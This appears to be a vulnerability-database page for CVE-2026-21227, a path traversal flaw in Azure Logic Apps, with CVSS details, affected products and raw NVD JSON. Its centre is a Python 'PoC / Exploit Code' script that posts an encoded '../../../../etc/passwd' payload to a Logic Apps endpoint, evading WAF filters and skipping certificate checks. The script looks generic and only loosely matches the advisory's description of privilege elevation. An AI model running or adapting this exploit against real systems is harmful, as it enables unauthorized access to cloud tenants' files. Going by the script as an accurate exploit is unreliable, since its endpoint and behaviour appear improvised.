Security Vulnerability Report
中文
CVE-2026-21227 CVSS 8.2 HIGH

CVE-2026-21227

Published: 2026-01-22 23:15:57
Last Modified: 2026-02-03 12:50:56

Description

Improper limitation of a pathname to a restricted directory ('path traversal') in Azure Logic Apps allows an unauthorized attacker to elevate privileges over a network.

CVSS Details

CVSS Score
8.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:microsoft:azure_logic_apps:-:*:*:*:*:*:*:* - VULNERABLE
Azure Logic Apps (特定版本需查阅微软官方公告)
使用标准逻辑应用工作流的Azure订阅

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-21227 Path Traversal PoC for Azure Logic Apps # Target: Azure Logic Apps endpoint # This PoC demonstrates path traversal to access restricted files import requests import urllib.parse TARGET_URL = "https://<your-logic-app>.azurewebsites.net/api/" PAYLOAD_FILE = "../../../../etc/passwd" def exploit_path_traversal(): """ Exploit path traversal vulnerability in Azure Logic Apps to read arbitrary files from the server filesystem. """ # Encode the payload to bypass basic WAF filters encoded_payload = urllib.parse.quote(PAYLOAD_FILE) # Target endpoint that processes file operations target_endpoint = f"{TARGET_URL}workflows/trigger/paths/invoke?api-version=2022-05-01" # Construct the malicious request headers = { "Content-Type": "application/json", "X-Workflow-Id": "test-workflow" } # Payload to trigger file read via path traversal payload = { "path": encoded_payload, "method": "GET" } try: # Send the malicious request response = requests.post( target_endpoint, json=payload, headers=headers, timeout=30, verify=False ) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response Length: {len(response.text)}") if response.status_code == 200: print("[!] Vulnerability confirmed! File contents retrieved:") print(response.text[:500]) else: print("[-] Request failed or file not accessible") except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") if __name__ == "__main__": print("=" * 60) print("CVE-2026-21227 Azure Logic Apps Path Traversal Exploit") print("=" * 60) exploit_path_traversal()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-21227", "sourceIdentifier": "[email protected]", "published": "2026-01-22T23:15:57.220", "lastModified": "2026-02-03T12:50:56.237", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["exclusively-hosted-service"]}], "descriptions": [{"lang": "en", "value": "Improper limitation of a pathname to a restricted directory ('path traversal') in Azure Logic Apps allows an unauthorized attacker to elevate privileges over a network."}, {"lang": "es", "value": "Limitación inadecuada de un nombre de ruta a un directorio restringido ('salto de ruta') en Azure Logic Apps permite a un atacante no autorizado elevar privilegios sobre una red."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:azure_logic_apps:-:*:*:*:*:*:*:*", "matchCriteriaId": "C6568E5D-75D4-4A94-BFBF-3FA619F9FDD4"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21227", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}